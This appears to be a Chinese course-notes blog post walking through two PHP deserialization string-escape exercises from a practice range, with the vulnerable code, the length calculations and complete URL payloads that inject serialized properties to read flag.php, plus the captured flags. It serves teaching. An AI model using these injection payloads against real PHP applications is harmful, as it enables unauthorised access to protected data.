WEB渗透—PHP反序列化(八)

Web渗透---PHP反序列化 课程学习分享(课程非本人制作,仅提供学习分享)


靶场下载地址:GitHub - mcc0624/php_ser_Class: php反序列化靶场课程,基于课程制作的靶场

课程地址:PHP反序列化漏洞学习_哔哩哔_bilibili


十五、字符串逃逸例题-增多

1.实例代码

目标: 判断是否pass=='escaping'

php 复制代码
<?php
function filter($name){
    $safe=array("flag","php");
    $name=str_replace($safe,"hack",$name);
    return $name;
}
class test{
    var $user;
    var $pass='daydream';                  //pass默认值为'daydream'
    function __construct($user){
        $this->user=$user;
    }
}
$param=$_GET['param'];                     //$_GET['param']获取值给$param
$param=serialize(new test($param));        //并放在实例化test里作为参数,实例化触发__construct赋值给user
$profile=unserialize(filter($param));      //对$param值进行安全性检查,filter把"flag","php"替换为"hack",然后在反序列化
if ($profile->pass=='escaping'){           //判断pass是否为'escaping'
    echo file_get_contents("flag.php");
}
?>

2.解题过程

思路:

1)字符串过滤后减少还是增多

2)构造出关键成员属性序列化字符串

3)增多则判断一次吐出多少个字符串

4)构造payload并提交

构造关键成员属性序列化字符:

php 复制代码
<?php
class test{
    var $user="123";         //任意字符
    var $pass='escaping';
}
echo serialize(new test());
?>

O:4:"test":2:{s:4:"user";s:3:"123";s:4:"pass";s:8:"escaping";}

php被替换成hack,字符串增多,会吐出字符串变成结构代码,一个php吐出1个字符串;

flag被替换成hack,字符串不变,无法吐出字符串变成结构代码

";s:4:"pass";s:8:"escaping";}

user可控,我们通过param参数进行传参,我们需要将pass及其参数吐出,同时我们需要补全前面$user的序列化结构,所以我们需要吐出29个字符

构造payload:

URL?param=phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}

3.回显结果

利用构造的pyload进行参数传递,得到flag(页面无法直接回显,需要查看网页源代码)

复制代码
ctfstu{5c202c62-7567-4fa0-a370-134fe9d16ce7}

十六、字符串逃逸例题-减少

1.实例代码

目标: 判断vip是否为真

php 复制代码
<?php
function filter($name){
    $safe=array("flag","php");
    $name=str_replace($safe,"hk",$name);
    return $name;
}
class test{
    var $user;
    var $pass;
    var $vip = false ;                     //vip默认值为false
    function __construct($user,$pass){
        $this->user=$user;
        $this->pass=$pass;
    }
}
$param=$_GET['user'];
$pass=$_GET['pass'];
$param=serialize(new test($param,$pass));
$profile=unserialize(filter($param));      //对$parm值'user'进行安全性检查,filter把'flag','php'替换为'hk',然后在反序列化
if ($profile->vip){                        //判断vip值是否为真
    echo file_get_contents("flag.php");
}
?>

2.解题过程

思路:

1)字符串过滤后减少还是增多

2)构造出关键成员属性序列化字符串

3)减少则判断吃掉的内容,并计算长度

4)构造pyload并提交

构造关键成员属性序列化字符:

php 复制代码
<?php
class test{
    var $user = '123';          //任意字符
    var $pass = '123';          //任意字符
    var $vip = true;
}
echo serialize(new test());
?>

O:4:"test":3:{s:4:"user";s:3:"123";s:4:"pass";s:3:"123";s:3:"vip";b:1;}

php被替换成hk,字符串减少,会吃掉字符串变成结构代码,一个php吃掉1个字符串;

flag被替换成hk,字符串减少,会吃掉字符串变成结构代码,一个flag吃掉2个字符串

";s:4:"pass";s:3:"123";s:3:"vip";b:1;}

user和pass可控,我们通过user和pass参数进行传参,我们需要将pass及其参数吃掉,只保留参数内容以及结构 " 符号,同时我们需要补全前面user的序列化结构,所以我们需要吃掉19个字符(flag每次吃掉2个字符,吃19个字符最少要吃10次,所以我们会多吃1位,在后面字符位置补)

在PHP中,当进行序列化时,字符串的长度标识小于两位时会被算作两位的原因是为了确保序列化后的数据能够正确地被反序列化。在PHP的序列化中,字符串的长度使用一个表示字符数的整数来进行标识。

构造payload:

URL?user=flagflagflagflagflagflagflagflagflagflag &pass=1";s:4:"pass";s:3:"123";s:3:"vip";b:1;}

3.回显结果

利用构造的pyload进行参数传递,得到flag(页面无法直接回显,需要查看网页源代码)

复制代码
ctfstu{5c202c62-7567-4fa0-a370-134fe9d16ce7}
相关推荐
yangSnowy2 小时前
webman框架虚拟数据填充fakerphp/faker插件的使用
php
Neolnfra2 小时前
任意文件上传漏洞
计算机网络·web安全·网络安全·系统安全·网络攻击模型·安全威胁分析·安全架构
白帽子黑客罗哥3 小时前
渗透测试技术:从入门到实战的完整指南
网络·安全·web安全·渗透测试·漏洞挖掘·网络安全培训
简鹿视频3 小时前
视频转mp4格式具体作步骤
ffmpeg·php·音视频·实时音视频
liebe1*14 小时前
第十一章 密码学
服务器·密码学·php
一分半心动6 小时前
lnmp架构 mysql数据库Cannot assign requested address报错解决
linux·mysql·php
Neolnfra6 小时前
陇剑杯2021-wifi题目解析
网络·安全·web安全·网络安全·系统安全·密码学·csrf
ZeroNews内网穿透8 小时前
Dify AI 结合ZeroNews 实现公网快速访问
网络·人工智能·网络协议·tcp/ip·安全·web安全
catchadmin8 小时前
PHP 开发者指南 如何在 Composer 中使用本地包
开发语言·php·composer
Blossom.1189 小时前
基于图神经网络+大模型的网络安全APT检测系统:从流量日志到攻击链溯源的实战落地
人工智能·分布式·深度学习·安全·web安全·开源软件·embedding